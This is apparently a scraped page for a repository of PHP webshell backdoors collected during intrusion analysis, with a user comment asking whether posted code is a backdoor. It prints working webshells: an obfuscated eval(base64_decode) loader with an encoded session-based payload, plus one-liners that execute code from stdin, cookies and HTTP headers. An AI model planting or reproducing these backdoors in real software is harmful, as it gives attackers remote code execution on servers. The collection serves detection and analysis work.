joychou93 / webshell Goto Github PK
View Code? Open in Web Editor NEW入侵分析时发现的Webshell后门
入侵分析时发现的Webshell后门
<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ=='); ?>
其中利用substr(sha1(md5等函数,不懂php的小白表示完全蒙蔽了。
之前在你博客留言过,请大牛有时间看看是不是后门文件
代码如下
<?php eval('?>' . file_get_contents('php://stdin'));
<?php extract($_COOKIE);@$F&&@$F($A,$B);
<?php_
@preg_replace($_SERVER['HTTP_X_E10EC8'], $_SERVER['HTTP_X_CURRENT'], ''); ?>`
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.